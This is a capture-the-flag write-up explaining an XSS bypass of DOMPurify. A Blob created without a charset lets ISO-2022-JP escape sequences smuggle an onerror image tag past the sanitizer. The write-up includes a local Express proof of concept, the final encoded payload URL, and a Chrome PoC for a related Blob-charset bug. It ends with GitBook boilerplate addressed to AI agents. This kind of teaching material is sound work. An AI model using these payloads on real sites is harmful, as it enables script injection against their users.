> For the complete documentation index, see [llms.txt](https://sibivasan.gitbook.io/sibivasan/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sibivasan.gitbook.io/sibivasan/writeups/ctf-writeups/xssit.md).

# XSSit

Challenge:

{% embed url="<https://game0v3r.in/challenges/XSSit/>" %}

<figure><img src="/files/KqOzhYWdXMos7Uqw5dpm" alt=""><figcaption></figcaption></figure>

#### Source:

```javascript
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.2.4/dist/purify.min.js"></script>

    <script>

        function getQueryParam(name) {
            const params = new URLSearchParams(window.location.search);
            return params.get(name);
        }
        
        const htmlContent = getQueryParam('html');
        if (htmlContent) {
            sanitized = DOMPurify.sanitize(htmlContent)
            var blob = new Blob([sanitized], {
            type: "text/html"
            });
            location=window.URL.createObjectURL(blob);


        } else {
            console.log('......')
        }
    </script>
```

Checking for the **Dompurify** version.

<figure><img src="/files/yyJC1dFsm4Pd7faLNOca" alt=""><figcaption></figcaption></figure>

Application uses the latest version of DOMPurify, so the version is not vulnerable to any CVE's.

{% embed url="<https://game0v3r.in/challenges/XSSit/index.html?html=%3Ch1%3Ehello%3C/h1%3E>" %}

<figure><img src="/files/PP1MIHlUK95A0zq0mZOF" alt=""><figcaption></figcaption></figure>

Applications parse the HTML input and make it in the blob.

<figure><img src="/files/2OJ5TKRBT4aKlZkgDpTK" alt=""><figcaption></figcaption></figure>

{% embed url="<https://game0v3r.in/challenges/XSSit/?html=%3Cimg+src=%27x%27+onerror=alert(1)/%3E>" %}

{% hint style="info" %}
DOMPurify will strip out everything that contains dangerous HTML and thereby prevent XSS attacks.
{% endhint %}

<figure><img src="/files/n2BkYCYaLG7UaBbzCMjE" alt=""><figcaption></figcaption></figure>

&#x20;DOMPurify  Strips dangerous HTML`<img src='x' onerror=alert(1)/>` to the `<img src='x'>.` So, we can't able to popup the XSS.

```javascript
sanitized = DOMPurify.sanitize(htmlContent)
var blob = new Blob([sanitized], {
            type: "text/html"
            });
```

In the [**type** ](#user-content-fn-1)[^1]field, they didn't include `charset`.

{% embed url="<https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/>" %}

> The `charset` attribute tells the browser that UTF-8 was used to encode the HTTP response body. A character encoding like UTF-8 defines a **mapping between characters and bytes**. When a web server serves an HTML document, it maps the characters of the document to the corresponding bytes and transmits these in the HTTP response body. This process turns characters into bytes (*encode*).

{% embed url="<https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#content-type-no-charset>" %}

Three common ways that a browser uses to **determine the character encoding** of an HTML document, ordered by priority:

1. Byte-Order Mark at the beginning of the HTML document
2. `charset` attribute in the `Content-Type` header
3. `<meta>` tag in the HTML document

<figure><img src="/files/SbaniL3Zy73VxReBhd46" alt=""><figcaption></figcaption></figure>

If no charset is provided in the response Content-Type header,Use Byte Order Mark to bypass DOMPurify.

```javascript
const createDOMPurify = require("dompurify");
const { JSDOM } = require("jsdom");
const http = require("http");
const express = require('express');
const app = express();
const port = 3000;
 
app.get('/vulnerable', (req, res) => {
    const window = new JSDOM("").window;
    const DOMPurify = createDOMPurify(window);
    const clean = DOMPurify.sanitize('<a id="\x1b$B"></a>\x1b(B<a id="><img src=x onerror=alert(1)>"></a>');
 
    res.statusCode = 200;
    res.setHeader("Content-Type", "text/html");
    res.end(clean);
});
 
app.listen(port, () => {
    console.log(`ReDoS Vulnerability app listening at http://localhost:${port}`);
});
```

Run this POC in locally:

<figure><img src="/files/rL01ZIZn1IewxsFV7WRg" alt=""><figcaption></figcaption></figure>

The XSS poped up properly, so trying the same payload in the challenge.

```
<a id="\x1b$B"></a>\x1b(B<a id="><img src=x onerror=alert(1)>"></a>
```

<figure><img src="/files/uxT2e51A5tb5vzxYAnio" alt=""><figcaption></figcaption></figure>

Payload breaks our payload not escapes properly and not converted as Japanese language like happened in local.

While checking the charset of the blob.

<figure><img src="/files/XXSPi1QMKiKAgaVR8hT0" alt=""><figcaption></figcaption></figure>

Charset is in default windows-1252.

<figure><img src="/files/Zbr2btU8cqveAB2v7rx5" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
A single occurrence of one of these escape sequences is usually enough to convince the auto-detection algorithm that the HTTP response body is encoded with ISO-2022-JP.
{% endhint %}

Change the charset using the escape sequence.

{% embed url="<https://game0v3r.in/challenges/XSSit/index.html?html=%1B(J>" %}

<figure><img src="/files/CjGmRTtfGzw6DPDXaAcD" alt=""><figcaption></figcaption></figure>

Now the Charset changed to ISO-2022-JP.

So change the payload \x1b(B to %1b(B  so we can escape it.

> <https://game0v3r.in/challenges/XSSit/?html=%3Ca%20id=%22%1b$B%22%3E%3C/a%3E%1b(B%3Ca%20id=%22%3E%3Cimg%20src=x%20onerror=alert(1)%3E%22%3E%3C/a%3E>

<pre class="language-javascript"><code class="lang-javascript"><strong>Payload: &#x3C;a id="%1b$B">&#x3C;/a>%1b(B&#x3C;a id=">&#x3C;img src=x onerror=alert(1)>">&#x3C;/a>
</strong></code></pre>

Boom we got a XSS :tada:.

<figure><img src="/files/oejmvWiVTE14qSpN9xD1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/QiDfqLOxQJgdv2E59Ke1" alt=""><figcaption></figcaption></figure>

#### Extras:

While looking for this challenge, read about the similar issue in the chromium.

{% embed url="<https://issues.chromium.org/issues/40052417>" %}

```javascript
var blob = new Blob([`This content should be decoded using UTF-8`], {  
    type: "text/html;charset=utf-8"//this charset should be respected  
});
```

{% code overflow="wrap" %}

```
If blob has a type attribute of text/plain;charset=utf-8 then getting an encoding is run using "utf-8" as the label. Note that user agents must parse and extract the portion of the Charset Parameter that constitutes a label of an encoding.
```

{% endcode %}

{% hint style="info" %}
Chrome ignores the charset specified in the type attribute. This behavior could introduce XSS via the charset auto-detection.
{% endhint %}

POC:

```html
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
</head>
<body>
    <script>
        var blob = new Blob([`aaa\u001B$@<textarea>\u001B(B<script>alert('xss');alert(document.charset)<\/script></textarea>bbb`], {
          type: "text/html;charset=utf-8"//this charset should be used
        });
        location=window.URL.createObjectURL(blob);
    </script>
</body>
</html>
```

#### Chrome vulnerable version:

> #### Version 85.0.4156.0 (Official Build) canary (64-bit)

#### POC:

<figure><img src="/files/2OXfmZ5HzWgBP04q00J4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/AMwOUtNf0C1RRuP61tev" alt=""><figcaption></figcaption></figure>

Chrome ignores the type attribute's charset and auto-detects it from the Blob content. If auto-detected as "ISO-2022-JP" instead of UTF-8, decoding differences cause unexpected HTML rendering, executing JavaScript instead of displaying a textarea with "\<script>".

#### Chrome fixed version:

<figure><img src="/files/6tbj8WGke5UgJgsrDrsE" alt=""><figcaption></figcaption></figure>

Thank you.

[^1]:


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sibivasan.gitbook.io/sibivasan/writeups/ctf-writeups/xssit.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
